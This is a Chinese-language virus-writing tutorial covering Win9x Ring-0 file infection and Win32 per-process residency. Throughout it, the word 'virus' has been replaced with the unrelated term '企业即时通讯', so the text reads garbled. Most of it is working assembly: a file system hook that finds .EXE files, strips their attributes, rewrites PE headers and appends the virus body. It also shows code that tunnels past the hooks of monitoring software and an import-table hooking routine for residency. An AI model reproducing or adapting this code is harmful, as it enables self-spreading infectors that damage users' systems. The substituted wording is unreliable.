这是Ring-0代码的主要部分的一方面。让我们现在看看Ring-0编写代码的细节。当我们在钩子处理中的时候,有两个调用,对吗?这不是必须的,但是我为了使代码更简单,那么做了,因为我喜欢使事情结构化。
在第一次调用的时候,我调用的prepare_infection仅仅因为一个原因做了一件事情。系统作为一个参数给我们的文件名,但是我们有一个问题。系统以UNICODE形式给我们的,而且对我们来说它没有什么用。所以,我们需要把它转换成ASCII码,对吗?我们有一个VxD服务可以为我们做这件事。它的名字:UniToBCSParh。下面是你喜欢的源代码。
prepare_infection:
pushad ; Push all
lea edi,[ebx+fname] ; Where to put ASCII file name
mov eax,[ebp+10h]
cmp al,0FFh ; Is it in UNICODE?
jz wegotdrive ; Oh, yeah!
add al,"@" ; Generate drive name
stosb
mov al,":" ; Add a :
stosb
wegotdrive:
xor eax,eax
push eax ; EAX = 0 -> Convert to ASCII
mov eax,100h
push eax ; EAX = Size of string to convert
mov eax,[ebp+1Ch]
mov eax,[eax+0Ch] ; EAX = Pointer to string
add eax,4
push eax
push edi ; Push offset to file name
@@3: VxDCall UniToBCSPath
add esp,10h ; Skip parameters returnet
add edi,eax
xor eax,eax ; Make string null-terminated
stosb
popad ; Pop all
ret ; Return
感染本身
^^^^^^^^
下面我将告诉你怎样到达直到你你必须的应用感染后的文件应该有的新的PE头和节头的值。但是,我不会解释怎么操作它们了,不是因为我懒,仅仅是因为这是Ring-0代码编写一章,而不是PE感染一章。这个部分和FileSystem 钩子代码的infection_stuff 部分相符。首先,我们必须检查我们将要操作的文件是否是一个.EXE文件还是其它不感兴趣的文件。所以,首先,我们必须在文件名字里寻找0值,它告诉我们它的末尾。这编写起来很简单:
infection_stuff:
lea edi,[ebx+fname] ; Variable with the file name
getend:
cmp byte ptr [edi],00h ; End of filename?
jz reached_end ; Yep
inc edi ; If not, search for another char
jmp getend
reached_end:
我们在EDI里是ASCII字符串里的0值,正如你知道的,它标志着字符串的结尾,也就是在这种情况下,文件名。下面是我们的主要检查,看看它是否是一个.EXE文件,如果它不是,跳过感染。我们还可以检查.SCR(Windows屏保),正如你知道的,它们也是可执行文件...这就是你的选择。下面给你一些代码:
cmp dword ptr [edi-4],"EXE." ; Look if extension is an EXE
jnz notsofunny
正如你能看到的,我比较了EDI-5次。
现在我们知道了那个文件是一个EXE文件:)所以该是移除它的属性,打开文件,修改相关域,关闭文件并恢复属性的时候了。所有这些函数由另外一个IFS服务完成,那就是IFSMgr_Ring0_FileIO。我没有找到关于全部这个的文档,总之也没有必要,它有很多的函数,正如我以前所说的,所有我们需要函数仅仅是为了进行文件感染。让我们VxD服务IFSMgr_Ring0_FileIO传送到EAX中的数值:
-----------------------------------------------------------------------
;函数定义在ring-0的API函数列表中:
;说明:大多数函数是上下文相关的,除非被明确的规定了,也就是说,它们不使用当前线程的上下文。;R0_LOCKFILE是唯一的例外-它总是使用当前线程的上下文。
R0_OPENCREATFILE equ 0D500h ; Open/Create a file
R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Open/Create file in current contxt
R0_READFILE equ 0D600h ; Read a file, no context
R0_WRITEFILE equ 0D601h ; Write to a file, no context
R0_READFILE_IN_CONTEXT equ 0D602h ; Read a file, in thread context
R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Write to a file, in thread context
R0_CLOSEFILE equ 0D700h ; Close a file
R0_GETFILESIZE equ 0D800h ; Get size of a file
R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation
R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation
R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation
R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file
R0_RENAMEFILE equ 05600h ; Rename a file
R0_DELETEFILE equ 04100h ; Delete a file
R0_LOCKFILE equ 05C00h ; Lock/Unlock a region in a file
R0_GETDISKFREESPACE equ 03600h ; Get disk free space
R0_READABSOLUTEDISK equ 0DD00h ; Absolute disk read
R0_WRITEABSOLUTEDISK equ 0DE00h ; Absolute disk write
-----------------------------------------------------------------------
迷人的函数,是吧?:)如果我们看看,它提醒了我们DOS int 21h函数。但是这个更好:)
好了,让我们保存旧的文件属性。正如你能看到的,这个函数是在我以前给你的列表中的,我们把这个参数(4300h)放到EAX中为了获得文件的属性到ECX中。所以,在那之后,我push它和文件名,它在ESI中。
lea esi,[ebx+fname] ; Pointer to file name
mov eax,R0_FILEATTRIBUTES ; EAX = 4300h
push eax ; Save it goddamit
VxDCall IFSMgr_Ring0_FileIO ; Get attributes
pop eax ; Restore 4300h from stack
jc notsofunny ; Something went wrong (?)
push esi ; Push pointer to file name
push ecx ; Push attributes
现在我们必须把它们去掉。没问题。设置文件属性的函数是,以前在IFSMgr_Ring0_FileIO中,但是现在是4301h。就像你在DOS下看到的这个值:)
inc eax ; 4300h+1=4301h :)
xor ecx,ecx ; No attributes sucker!
VxDCall IFSMgr_Ring0_FileIO ; Set new attributes (wipe'em)
jc stillnotsofunny ; Error (?!)
现在我们有一个没有属性的等着我们的文件了...我们该做什么呢?呵呵,我认为你是聪明的。让我们打开它!:)就像所有企业即时通讯中的这个部分一样,我们不得不调用IFSMgr_Ring0_FileIO,但是现在为打开文件传送到EAX中的是D500h。
lea esi,[ebx+fname] ; Put in ESI the file name
mov eax,R0_OPENCREATFILE ; EAX = D500h
xor ecx,ecx ; ECX = 0
mov edx,ecx
inc edx ; EDX = 1
mov ebx,edx
inc ebx ; EBX = 2
VxDCall IFSMgr_Ring0_FileIO
jc stillnotsofunny ; Shit.
xchg eax,ebx ; Optimize a bit, sucka! :)
现在我们在EBX中的是打开文件的句柄,所以如果你在文件关闭之前不使用这个文件将会完美,好吗?:)现在该是你读PE文件头并保存它(和操作它)的时候了,然后更新文件头,附加上企业即时通讯...这里我将仅仅解释怎样处理PE头的属性,因为它是这个教程的另外一部分了,而且我不想太多重复。我打算解释如何把PE头保存到我们的缓冲区中。它相当简单:如果你还记得,PE头从偏移地址3Ch(当然是从BOF开始)开始。然后我们必须读4字节(这个3Ch处的DWORD),并在这个偏移地址处再次读,这次,是400h字节,足够处理整个PE头了。正如你能想象的,读文件中的函数是在很棒的IFSMgr_Ring0_FileIO中,而且你可以看到我以前给你的表中的正确号码,在R0_READFILE中。传递给这个函数的参数如下:
EAX = R0_READFILE = D600h
EBX = File Handle
ECX = Number of bytes to read
EDX = Offset where we should read
ESI = Where will go the read bytes
call inf_delta ; 如果你还记得,我们在EBX中是delta offset
inf_delta: ; 但是打开文件之后,我们在EBX中是文件的句柄
pop ebp ; 所以我们必须重新计算它。
sub ebp,offset inf_delta ;
mov eax,R0_READFILE ; D600h
push eax ; Save it for later
mov ecx,4 ; Bytes to read, a DWORD
mov edx,03Ch ; Where read (BOF+3Ch)
lea esi,[ebp+pehead] ; There goez the PE header offzet
VxDCall IFSMgr_Ring0_FileIO ; The VxDCall itself
pop eax ; restore R0_READFILE from stack
mov edx,dword ptr [ebp+pehead] ; Where the PE header begins
lea esi,[ebp+header] ; Where write the read PE header
mov ecx,400h ; 1024 bytes, enough for all PE head.
VxDCall IFSMgr_Ring0_FileIO
现在我们通过看它的标志要看看我们刚才打开的文件是否是一个PE文件。我们在ESI中的是指向我们放置PE头的缓冲区,所以只要把ESI中的第一个DWORD和PE,0,0作比较即可(或者简单的用WORD和PE进行比较) ;)
cmp dword ptr [esi],"EP" ; 它是PE吗?
jnz muthafucka
现在你该检查以前的感染了,如果以前已经感染过了,只要到诸如关闭文件的地方即可。正如我以前所说的,我将跳过修改PE头的代码,因为假设你已经知道怎么做了。好了,想象一些你已经合适地修改了缓冲区里的PE头(在我的代码里,变量叫做header)。现在该是把新的头写到PE文件里的时候了。寄存器里的值应该是和
R0_READFILE函数差不多的,我将这样写它们:
EAX = R0_WRITEFILE = D601h
EBX = File Handle
ECX = Number of bytes to write
EDX = Offset where we should write
ESI = Offset of the bytes we want to write
mov eax,R0_WRITEFILE ; D601h
mov ecx,400h ; write 1024 bytez (buffer)
mov edx,dword ptr [ebp+pehead] ; where to write (PE offset)
lea esi,[ebp+header] ; Data to write
VxDCall IFSMgr_Ring0_FileIO
我们已经写完了头。现在,我们只要添加企业即时通讯即可。我决定把它添在EOF目录中,因为我的修改PE的方式...好了,我是用这种方法做的。但是不要担心,应用的的感染方法是很简单的,因为我假设你已经理解它是怎么工作的了。就在附加企业即时通讯主体之前,记住我们应该修正所有的VxDCall,因为它们在调用的时候在内存中已经改变了。记住,我在这篇教程里面教给你的VxD修正过程。另外,当我们在EOF处添加的时候,我们应该知道它占多少字节。相当简单,我们在IFSMgr_Ring0_FileIO中有一个函数(为什么不呢!)来做这个工作:R0_GETFILESIZE让我们看看它的输入参数:
EAX = R0_GETFILESIZE = D800h
EBX = File Handle
在EAX中返回给我们的是句柄对应的文件的大小,也就是我们试图感染的文件。
call VxDFix ; Re-make all INT 20h's
mov eax,R0_GETFILESIZE ; D800h
VxDCall IFSMgr_Ring0_FileIO
; EAX = File size
mov edx,R0_WRITEFILE ; EDX = D601h
xchg eax,edx ; EAX = D601; EDX = File size
lea esi,[ebp+virus_start] ; What to write
mov ecx,virus_size ; How much bytez to write
VxDCall IFSMgr_Ring0_FileIO
只剩下一些事情去做了。只要关闭文件并恢复它的旧的属性即可。当然关闭文件的函数是我们热爱的IFSMgr_Ring0_FileIO了,现在是函数D700h。让我们看看它的输入参数:
EAX = R0_CLOSEFILE = 0D700h
EBX = File Handle
现在是它的代码:
muthafucka:
mov eax,R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
好了,只剩下一件事情去做了。恢复旧的属性。
stillnotsofunny:
pop ecx ; Restore old attributos
pop esi ; Restore ptr to FileName
mov eax,4301h ; Set attributes function
VxDCall IFSMgr_Ring0_FileIO
notsofunny:
ret
终于完了! :) 另外,所有的这些"VxDCall IFSMgr_Ring0_FileIO"最好在一个子例程中,用一个简单的call来调用它:它更优化了(如果你你使用我给你的VxDCall宏),它更好是因为只要把一个偏移放在VxDFix的表中就可以了。
%反VxD监视代码%
~~~~~~~~~~~~~~~
我必须不能忘记发现这个的人:Super/29A。此外,我应该解释这个东西是怎么回事。它和已经见过的InstallFileSystemApiHook服务有关,但是它没有被Micro$oft写成文档。InstallFileSystemApiHook服务返回给我们一个有意思的结构:
EAX + 00h -> Address of previous handler
EAX + 04h -> Hook_Info structure
而且正如你所想的,最重要的是Hook_Info 结构:
00h -> 钩子处理的地址, 这个结构的第一个
04h -> 先前钩子处理的地址
08h -> 先前钩子的Hook_Info的地址
所以,我们对这个结构进行递归搜索直到找到了第一个,被监视程序使用的链的顶部...然后我们必须修改它。代码?下面给出一部分 :)
; EDI = Points to virus copy in system heap
lea ecx,[edi+New_Handler] ; Install FileSystem Hook
push ecx
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
pop ecx
xchg esi,eax ; ESI = Ptr actual hook
; handler
push esi
lodsd ; add esi,4 ; ESI = Ptr to Hook Handler
tunnel: lodsd ; EAX = Previous Hook Handler
; ESI = Ptr to Hook_Info
xchg eax,esi ; Very clear :)
add esi,08h ; ESI = 3rd dword in struc:
; previous Hook_Info
js tunnel ; If ESI < 7FFFFFFF, it was
; the last one :)
; EAX = Hook_Info of the top
; chain
mov dword ptr [edi+ptr_top_chain],eax ; Save in its var in mem
pop eax ; EAX = Last hook handler
[...]
如果你不懂,不要担心,这是第一次:想象一下我读懂Sexy的代码所花的时间!好了,我们已经把链顶存在一个变量里了。接下来的的代码片断是我们检查一个系统打开文件的请求,而且我们知道这个调用不是由我们的企业即时通讯所做的,只是在调用感染程序之前。
lea esi,dword ptr [ebx+top_chain] ; ESI = Ptr to stored variable
lodsd ; EAX = Top Chain
xor edx,edx ; EDX = 0
xchg [eax],edx ; Top Chain = NULL
; EDX = Address of Top Chain
pushad
call Infection
popad
mov [eax],edx ; Restore Top Chain
这个简单多了,啊?:)所有的概念("Hook_Info", "Top Chain", 等等)都是来自于Super,所以去惩罚一下他:)
%最后的话%
~~~~~~~~~~
我必须感谢3个在我编写第一个Ring-0的东东帮助过我的最重要的人:Super,Vecna和nIgr0(你们是好样的!)。好了,还有其它事情要说吗?呃...耶。Ring-0是我们在Win9X下的美梦,是的。但是总是有限制。如果我们,毒客们,找到了一个在系统中如NT或者将来的Win2000(NT5)下获取Ring-0特权的时候,就没关系了。Micro$oft将会做一个补丁或者一个Service Pack来修复所有这些可能的bug。无论如何,编写一个Ring-0企业即时通讯总是很有趣。对我来说经历确实有意思,并且帮助我知道了更多关于Windows内部结构的东西。系统几乎是胡乱的打开文件。只要看看其中的一个最多,最快的,传播最广的企业即时通讯是一个Ring-0企业即时通讯,CIH。
【每一线程驻留(Per-Process residency)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
一个用来讨论的非常有意思的话题:Per-Process residency,对所有的Win32平台都适用的一种方法。我已经把这一章从Ring-3那一章分离开来是因为我想它是一中进化,对于初学Ring-3来说也是稍微复杂了些。
%介绍%
~~~~~~
per-process residence首先由29A的Jacky Qwerty在1997年编写的。此外(对媒体来说,不是真正的-Win32.Jacky)它是第一个Win32企业即时通讯,它还是第一个Win32驻留企业即时通讯,使用从没见过的技术:per-process residence。那么你想知道"什么是per-process residence呢?"。我已经在DDT#1的一篇文章中解释了那个了,但是这里我将对这个方法作一个更深的分析。首先,你必须知道什么是Win32,和它的PE可执行文件是怎么工作的。当你调用一个API的时候,你将要调用一个由系统在运行期把Import Table(输入表)保存到内存的地址,这个输入表指向API在DLL中的入口点。为了作一个per-process驻留,你将要不得不对输入表做些手脚,并修改你想要钩住并指向你自己的代码的API地址值,这个代码能够处理指定的API,也就是说由API来处理感染文件。我知道这有一点点杂乱,但是正如在企业即时通讯代码编写的每一件事情中,开始总是看起来很难的,但是后面就非常简单了:)
--[DDT#1.2_4]---------------------------------------------------------------
恩,这个可能是我知道的编写Win32驻留企业即时通讯的唯一的已知途径。是的,你已经看到的是Win32而不是Win9X。这是因为这个方法还能够运行在WinNT下面。首先,你必须知道什么是一个进程。这个东西更使我奇怪的是那些开始在Windows下编程的人知道这个方法之后,并知道这个是个什么样的方法,但是他们通常不知道这个名字。好了,当我们执行一个Windows应用程序的时候,那就是一个进程:)非常容易理解。而这个驻留方式做了什么呢?首先我们必须开辟一块内存,为了把企业即时通讯主体放在那里,但是这个内存是从我们正在执行的自己的进程开始的。所以,我们开辟一些系统给这个进程的内存。它将由使用API函数"VirtualAlloc"来完成。但是...怎样来钩住API呢?现在据我所知最常用的方法是改变API在输入表(import table)中的地址。这是我的观点,唯一可行的方法。因为输入表可以被写,这就更简单了,而且我们不需要任何VxDCALL0的函数的帮助...
但是,这种类型的驻留企业即时通讯的弱点也在这里了...正如我们在输入表里所看到的,感染率严重依赖于我们要感染的文件。例如,如果我们感染WinNT的CMD.EXE,并且我有一个FindFirstFile(A/W)和FindNextFile(A/W)的感染例程,使用那些API的的所有文件都被感染。这就使得我们的企业即时通讯非常具有感染性,主要是因为当我们在WinNT下使用一个DIR命令的时候将会频繁使用。总之,如果我们不使用其它的方法来使它更具感染性的话,Per-Process方法将是非常脆弱的,如在Win32.Cabanas中,一个运行部分中。我们使得运行期部分每次感染\WINDOWS和\WINDOWS\SYSTEM目录下的一些文件。另外一个好的选择是,正如我在用CMD为例的例子里所说的,直接碰那些在第一次感染一个系统里的非常特别的文件...
--[DDT#1.2_4]---------------------------------------------------------------
我已经在1998年的12月份把它写出来了,虽然我发现它可以不通过开辟内存来实现,但是,我还是改了它使之更容易理解。
%输入表处理%
~~~~~~~~~~~~
下面使输入表的结构。
IMAGE_IMPORT_DESCRIPTOR
^^^^^^^^^^^^^^^^^^^^^^^
-----------------------------------<----+00000000h
| Characteristics | Size : 1 DWORD
-----------------------------------<----+00000004h
| Time Date Stamp | Size : 1 DWORD
-----------------------------------<----+00000008h
| Forwarder Chain | Size : 1 DWORD
-----------------------------------<----+0000000Ch
| Pointer to Name | Size : 1 DWORD
-----------------------------------<----+00000010h
| First Thunk | Size : 1 DWORD
-----------------------------------
现在让我们看看Matt Pietrek是怎么描述它的。
DWORD Characteristics
曾经,这个被看成一些标志。然而,微软改变了它的意思并不厌其烦地更新WINNT.H。这个域世界上是指向一个指针数组的偏移(一个RVA)。这些指针每个都指向一个IMAGE_IMPORT_BY_NAME结构。
DWORD TimeDateStamp
time/date 标志表明文件是什么时候建立的。
DWORD ForwarderChain
这个域和向前调用有关。向前调用包括在一个DLL中把它的一个函数发送引用到另外一个DLL。例如,在Windows NT中,NTDLL.DLL看起来有一些函数向前调用KERNEL32.DLL中的一些函数。一个应用程序可能会认为它在调用NTDLL.DLL中的一个函数,但是世界上最终调用KERNEL32.DLL中的函数。这个域包含了一个对FirstThunk数组(即将要描述)的索引。这个由这个域索引的函数将要向前调用到另外一个DLL中。不幸的是,这种函数是怎么向前调用的格式没有文档资料,而且向前调用的函数的例子很难找。
DWORD Name
这是一个以NULL结尾的包含输入的DLL的名字ASCII字符串的RVA。一般的例子是"KERNEL32.DLL" 和 "USER32.DLL"。
PIMAGE_THUNK_DATA FirstThunk
这个域是一个指向IMAGE_THUNK_DATA单元的偏移地址(一个RVA)。在几乎每种情况下,这个单元被理解成一个IMAGE_IMPORT_BY_NAME结构的指针。如果这个域不是这些指针的其中一个,那么它可能被认为是被输入的DLL的序数。资料中关于你是否真的可以通过序数而不是通过名字来输入一个函数并不很确切。一个IMAGE_IMPORT_DESCRIPTOR的重要的部分是输入的DLL名字和两个IMAGE_IMPORT_BY_NAME数组。在EXE文件中,这两个数组(指向Characteristics 和 FirstThunk域)是平行的,而且在每个数组的结尾是空指针。两个数组里的指针都指向一个IMAGE_IMPORT_BY_NAME结构。
现在正如你所知道的Matt Pietrek(G0D)的定义,我将在这里列出从输入表里获取API地址和到API(我们将要改变的,后面关于这个更多)的偏移地址的代码。
;--------从这里开始剪切-------------------------------------------------------
;
; GetAPI_IT 函数
; ==============
; 下面的代码能够从输入表(Import Table)中获取一些信息
;
GetAPI_IT proc
;-----------------------------------------------------------------------------
; Ok, 让我们摇摇头。这个函数需要的参数和返回如下:
;
; 输入 : EDI : 指向API名字的指针 (区分大小写)
; 输出 : EAX : API地址
; EBX : API地址在输入表(import table)中地址
;-----------------------------------------------------------------------------
mov dword ptr [ebp+TempGA_IT1],edi ; Save ptr to name
mov ebx,edi
xor al,al ; Search for "\0"
scasb
jnz $-1
sub edi,ebx ; Obtain size of name
mov dword ptr [ebp+TempGA_IT2],edi ; Save size of name
;-----------------------------------------------------------------------------
;我们首先保存指向API的指针到一个临时变量中,然后我们搜索那个字符串的结尾,由
;0标记的,然后我们把EDI的新值(指向0)它的旧值,这样就得到了API名字的大小。很
;迷人,不是吗?在这之后,我们把API名字的大小保存到另外一个临时变量中。
;-----------------------------------------------------------------------------
xor eax,eax ; Make zero EAX
mov esi,dword ptr [ebp+imagebase] ; Load process imagebase
add esi,3Ch ; Pointer to offset 3Ch
lodsw ; Get process PE header
add eax,dword ptr [ebp+imagebase] ; address (normalized!)
xchg esi,eax
lodsd
cmp eax,"EP" ; Is it really a PE?
jnz nopes ; Shit!
add esi,7Ch
lodsd ; Get address
push eax
lodsd ; EAX = Size
pop esi
add esi,dword ptr [ebp+imagebase]
;-----------------------------------------------------------------------------
;我们要做的第一件事是清空EAX,因为我们不要它的MSW。然后,我们要做的是在我们
;主体的头部检查PE签名。如果所有的事情都做好了,我们得到一个指向Import Table
;section (.idata)的指针。
;-----------------------------------------------------------------------------
SearchK32:
push esi
mov esi,[esi+0Ch] ; ESI = Pointer to name
add esi,dword ptr [ebp+imagebase] ; Normalize
lea edi,[ebp+K32_DLL] ; Ptr to "KERNEL32.dll",0
mov ecx,K32_Size ; ECX = Size of above string
cld ; Clear Direction Flag
push ecx ; Save size for later
rep cmpsb ; Compare bytes
pop ecx ; Restore size
pop esi ; Restore ptr to import
jz gotcha ; If matched, jump
add esi,14h ; Get another field
jmp SearchK32 ; Loop again
;-----------------------------------------------------------------------------
;首先我们再次把ESI压栈,我们将需要它被保存,因为正如你所知道的,它是.idata节
;的开始。然后,我们在ESI中得到的是名字的ASCII字符串(指针)的RVA,然后,我们把
;它用基址把那个值标准化,
;-----------------------------------------------------------------------------
gotcha:
cmp byte ptr [esi],00h ; Is OriginalFirstThunk 0?
jz nopes ; Fuck off if it is.
mov edx,[esi+10h] ; Get FirstThunk :)
add edx,dword ptr [ebp+imagebase] ; Normalize!
lodsd
or eax,eax ; Is it 0?
jz nopes ; Shit...
xchg edx,eax ; Get pointer to it!
add edx,[ebp+imagebase]
xor ebx,ebx
;-----------------------------------------------------------------------------
; 首先,我们检查OriginalFirstThunk域是否为NULL,如果它是,我们以一个错误退出。
; 然后,我们得到FirstThunk值,并通过加上基址(imagebase)来标准化它,并检查它
; 是否是0(如果它是,我们就有一个问题了,因此我们退出)。之后,我们把那个地址
; (FirshtThunk)放到EDX中,并标准化,在EAX中我们保存的是指向FirstThunk域的
; 指针。
;-----------------------------------------------------------------------------
loopy:
cmp dword ptr [edx],00h ; Last RVA? Duh...
jz nopes
cmp byte ptr [edx+03h],80h ; Ordinal? Duh...
jz reloop
mov edi,dword ptr [ebp+TempGA_IT1] ; Get pointer to API name
mov ecx,dword ptr [ebp+TempGA_IT2] ; Get API name size
mov esi,[edx] ; We retrieve the current
add esi,dword ptr [ebp+imagebase] ; pointed imported api string
inc esi
inc esi
push ecx ; Save its size
rep cmpsb ; Compare both stringz
pop ecx ; Restore it
jz wegotit
reloop:
inc ebx ; Increase counter
add edx,4 ; Get another ptr to another
loop loopy ; imported API and loop
;-----------------------------------------------------------------------------
; 首先,我们检查是否在数组(以null字符标记)的最后,如果是,我们离开。然后,我们
; 检查它是是否是一个序数,如果是,我们得到另外一个。接下来是有趣的东东:我们把
; 我们以前保存的指向要搜索的API名字的指针保存到EDI中,在ECX中是那个字符串的长
; 度,并把指向输入表中的当前的API的指针保存到ESI中。我们对这两个字符串进行比较
; 如果它们不相等,我们重新得到另外一个,直到我们找到了它或者我们到达输入表的
; 最后一个API。
;-----------------------------------------------------------------------------
wegotit:
shl ebx,2 ; Multiply per 4 (dword size)
add ebx,eax ; Add to FirstThunk value
mov eax,[ebx] ; EAX = API address ;)
test al,0 ; This is for avoid a jump,
org $-1 ; thus optimizing a little :)
nopes:
stc ; Error!
ret
;-----------------------------------------------------------------------------
; 非常简单:因为我们在EBX中的是计数,而且数组是一个DWORD数组,我们把它乘以4
; (为了得到和标志API地址的FirstThunk相关的偏移),然后我们在EBX中的是指向想要得到
; 的API在输入表中的地址的指针。非常完美:)
;-----------------------------------------------------------------------------
GetAPI_IT endp
;-------到这里为止剪切---------------------------------------------------------
OK,现在我们知道怎么样来玩输入表。但是我们需要更多的东西!
%运行期获取基址(imagebase)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
一个最普遍的错误是认为imagebase总是一个常量,或者它将总是为400000h。但是这和事实相去甚远。无论你在文件头里得到的是什么
imagebase,它可以被系统在运行期很容易地改变,所以我们将要访问一个不正确地地址,而且我们将会得到无法预料地回应。而获取它地方法是非常简单地。简单地使用通常的delta-offset例程。
virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
sub ebp,offset realcode ; And sub initial offset
OK?举个例子,让我们想象一下执行从401000h开始(几乎所有的由TLINK链接的文件)。所以,当我们使用了POP,我们将在EBP中得到诸如
00401005的结果。所以把它减去tier-virus_start,并减去当前的EIP(也就是说在所有的TLINK连接的文件中为1000h)?是的你得到了imagebase!所以将会如下:
virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
mov eax,ebp
sub ebp,offset realcode ; And sub initial offset
sub eax,00001000h ; Sub current EIP (should be
NewEIP equ $-4 ; patched at infection time)
sub eax,(tier-virus_start) ; Sub some shit :)
不要忘记在感染期修复NewEIP变量(如果你修改了EIP),所以它总是和PE文件头偏移28h处的值相等,也就是程序的EIP的RVA:)
[ 我的API钩子 ]
下面是我的GetAPI_IT例程的普查。这个基于如下的一个结构:
db ASCIIz_API_Name
dd of |